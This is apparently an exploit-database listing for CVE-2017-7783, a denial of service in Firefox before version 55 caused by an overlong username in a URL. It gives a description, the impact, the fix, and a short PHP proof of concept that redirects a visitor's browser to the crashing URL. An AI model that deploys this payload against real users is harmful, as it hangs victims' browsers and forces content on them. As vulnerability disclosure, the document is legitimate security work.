Mozilla Firefox Username Denial Of Service

Mozilla Firefox versions prior to 55 suffer from a long username denial of service vulnerability.

MD5 | d045383f0ddfecdc908bd3897dc709ce

# Exploit Title: Mozilla Firefox < 55 - Forcibly make someone view a web content
# Category: Denial of Service
# Date: 5/11/17
# CVE : CVE-2017-7783
# Affected Version: < Mozilla Firefox 55
# Tested on: Windows/Linux
# Software Link:
# Exploit Author: Amit Sangra
# Website:

# Description:

If a long user name is used in a username/password combination in a site URL (such as http://UserName:[email protected]), the resulting modal prompt will hang in a non-responsive state or crash, causing a denial of service.

# Impact:

An attacker can create a webpage having some content and exploit.
Now once a victim visits this webpage, his browser gets locked out and he is forcibly made to view attacker supplied content.

# Exploit:

$location="http://Username".$exploit.":[email protected]";
echo "<center><h1>Firefox Lockout Vulnerability</h1>";
//Content to be forcibly viewed
echo "<iframe width=854 height=480 src= frameborder=0 allowfullscreen></iframe></center>";
echo "<script>setTimeout(\"location.href ='".$location."';\",10000);</script>";

# Solution:

Update to version 55

# Mozilla Foundation Security Advisory:

Related Posts